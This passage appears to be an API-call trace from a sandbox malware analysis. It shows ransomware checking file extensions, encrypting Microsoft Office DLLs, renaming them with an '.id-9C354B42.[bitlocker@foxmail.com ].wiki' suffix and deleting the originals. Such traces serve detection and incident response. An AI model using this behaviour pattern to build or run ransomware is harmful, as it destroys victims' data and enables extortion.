lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.103] lstrlenW (lpString=".xls") returned 4 [0183.103] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.103] lstrlenW (lpString=".xlsx") returned 5 [0183.103] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0183.103] lstrlenW (lpString=".ppt") returned 4 [0183.103] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.103] lstrlenW (lpString=".zip") returned 4 [0183.103] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.103] lstrlenW (lpString=".rar") returned 4 [0183.103] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.103] lstrlenW (lpString=".bz2") returned 4 [0183.103] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.103] lstrlenW (lpString=".7z") returned 3 [0183.103] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.103] lstrlenW (lpString=".dbf") returned 4 [0183.103] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.103] lstrlenW (lpString=".1cd") returned 4 [0183.103] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.103] lstrlenW (lpString=".jpg") returned 4 [0183.103] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.104] lstrlenW (lpString=".doc") returned 4 [0183.104] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString=".docx") returned 5 [0183.104] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0183.104] lstrlenW (lpString=".pdf") returned 4 [0183.104] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString=".xls") returned 4 [0183.104] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString=".xlsx") returned 5 [0183.104] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0183.104] lstrlenW (lpString=".ppt") returned 4 [0183.104] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.104] lstrlenW (lpString=".zip") returned 4 [0183.104] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString=".rar") returned 4 [0183.104] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.104] lstrlenW (lpString=".bz2") returned 4 [0183.104] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.104] lstrlenW (lpString=".7z") returned 3 [0183.104] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.104] lstrlenW (lpString=".dbf") returned 4 [0183.104] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.104] lstrlenW (lpString=".1cd") returned 4 [0183.105] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0183.105] lstrlenW (lpString=".jpg") returned 4 [0183.105] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.105] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.105] lstrlenW (lpString="ACECORE.DLL") returned 11 [0183.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.105] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3213192) returned 1 [0183.105] CloseHandle (hObject=0x1d8) returned 1 [0183.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0183.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0183.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.106] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0183.371] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0183.372] ReadFile (in: hFile=0x1d8, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0183.375] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0183.375] ReadFile (in: hFile=0x1d8, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0183.385] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0183.385] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0183.385] ReadFile (in: hFile=0x1d8, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0183.406] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.406] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0183.779] SetEndOfFile (hFile=0x1d8) returned 1 [0183.779] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x42c22b0 [0183.782] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0183.782] WriteFile (in: hFile=0x1d8, lpBuffer=0x42c22b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x42c22b0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0183.784] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0183.784] WriteFile (in: hFile=0x1d8, lpBuffer=0x42c22b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x42c22b0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0183.788] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0183.788] WriteFile (in: hFile=0x1d8, lpBuffer=0x42c22b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x42c22b0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0183.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c22b0 | out: hHeap=0x5c0000) returned 1 [0183.794] CloseHandle (hObject=0x1d8) returned 1 [0183.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.794] lstrlenW (lpString=".doc") returned 4 [0183.794] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.794] lstrlenW (lpString=".docx") returned 5 [0183.794] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0183.794] lstrlenW (lpString=".pdf") returned 4 [0183.794] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.794] lstrlenW (lpString=".xls") returned 4 [0183.794] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.794] lstrlenW (lpString=".xlsx") returned 5 [0183.794] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0183.794] lstrlenW (lpString=".ppt") returned 4 [0183.794] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.794] lstrlenW (lpString=".zip") returned 4 [0183.794] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.794] lstrlenW (lpString=".rar") returned 4 [0183.794] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.794] lstrlenW (lpString=".bz2") returned 4 [0183.794] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.794] lstrlenW (lpString=".7z") returned 3 [0183.794] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.795] lstrlenW (lpString=".dbf") returned 4 [0183.795] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.795] lstrlenW (lpString=".1cd") returned 4 [0183.795] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.795] lstrlenW (lpString=".jpg") returned 4 [0183.795] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.795] lstrlenW (lpString=".doc") returned 4 [0183.795] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString=".docx") returned 5 [0183.795] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0183.795] lstrlenW (lpString=".pdf") returned 4 [0183.795] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString=".xls") returned 4 [0183.795] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString=".xlsx") returned 5 [0183.795] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0183.795] lstrlenW (lpString=".ppt") returned 4 [0183.795] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.795] lstrlenW (lpString=".zip") returned 4 [0183.795] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString=".rar") returned 4 [0183.795] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.795] lstrlenW (lpString=".bz2") returned 4 [0183.795] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.795] lstrlenW (lpString=".7z") returned 3 [0183.795] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.796] lstrlenW (lpString=".dbf") returned 4 [0183.796] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.796] lstrlenW (lpString=".1cd") returned 4 [0183.796] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0183.796] lstrlenW (lpString=".jpg") returned 4 [0183.796] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.796] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.796] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0183.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.797] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15800) returned 1 [0183.797] CloseHandle (hObject=0x1d8) returned 1 [0183.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0183.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.797] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.797] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0183.798] GetLastError () returned 0x0 [0183.798] ReadFile (in: hFile=0x1d8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x3db8, lpOverlapped=0x0) returned 1 [0183.799] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0183.800] ReadFile (in: hFile=0x1d8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0183.800] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0183.800] SetEndOfFile (hFile=0x1f0) returned 1 [0183.800] CloseHandle (hObject=0x1f0) returned 1 [0183.801] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0183.801] SetEndOfFile (hFile=0x1d8) returned 1 [0183.801] CloseHandle (hObject=0x1d8) returned 1 [0184.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0184.496] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0184.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.730] lstrlenW (lpString=".doc") returned 4 [0184.730] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.730] lstrlenW (lpString=".docx") returned 5 [0184.731] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0184.731] lstrlenW (lpString=".pdf") returned 4 [0184.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString=".xls") returned 4 [0184.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString=".xlsx") returned 5 [0184.731] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0184.731] lstrlenW (lpString=".ppt") returned 4 [0184.731] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.731] lstrlenW (lpString=".zip") returned 4 [0184.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString=".rar") returned 4 [0184.731] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString=".bz2") returned 4 [0184.731] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.731] lstrlenW (lpString=".7z") returned 3 [0184.731] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.731] lstrlenW (lpString=".dbf") returned 4 [0184.731] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.731] lstrlenW (lpString=".1cd") returned 4 [0184.731] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.731] lstrlenW (lpString=".jpg") returned 4 [0184.731] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.731] lstrlenW (lpString=".doc") returned 4 [0184.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.731] lstrlenW (lpString=".docx") returned 5 [0184.732] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0184.732] lstrlenW (lpString=".pdf") returned 4 [0184.732] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.732] lstrlenW (lpString=".xls") returned 4 [0184.732] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.732] lstrlenW (lpString=".xlsx") returned 5 [0184.732] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0184.732] lstrlenW (lpString=".ppt") returned 4 [0184.732] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.732] lstrlenW (lpString=".zip") returned 4 [0184.732] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.732] lstrlenW (lpString=".rar") returned 4 [0184.732] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.732] lstrlenW (lpString=".bz2") returned 4 [0184.732] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.732] lstrlenW (lpString=".7z") returned 3 [0184.732] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.732] lstrlenW (lpString=".dbf") returned 4 [0184.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.732] lstrlenW (lpString=".1cd") returned 4 [0184.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0184.732] lstrlenW (lpString=".jpg") returned 4 [0184.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.732] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0184.733] lstrlenW (lpString="ACEREP.DLL") returned 10 [0184.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0185.942] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=691616) returned 1 [0185.942] CloseHandle (hObject=0x200) returned 1 [0185.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0185.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0186.286] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.286] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0186.682] GetLastError () returned 0x0 [0186.682] ReadFile (in: hFile=0x200, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xa8da0, lpOverlapped=0x0) returned 1 [0186.697] WriteFile (in: hFile=0x210, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa8db0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xa8db0, lpOverlapped=0x0) returned 1 [0186.710] ReadFile (in: hFile=0x200, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.710] WriteFile (in: hFile=0x210, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0186.710] SetEndOfFile 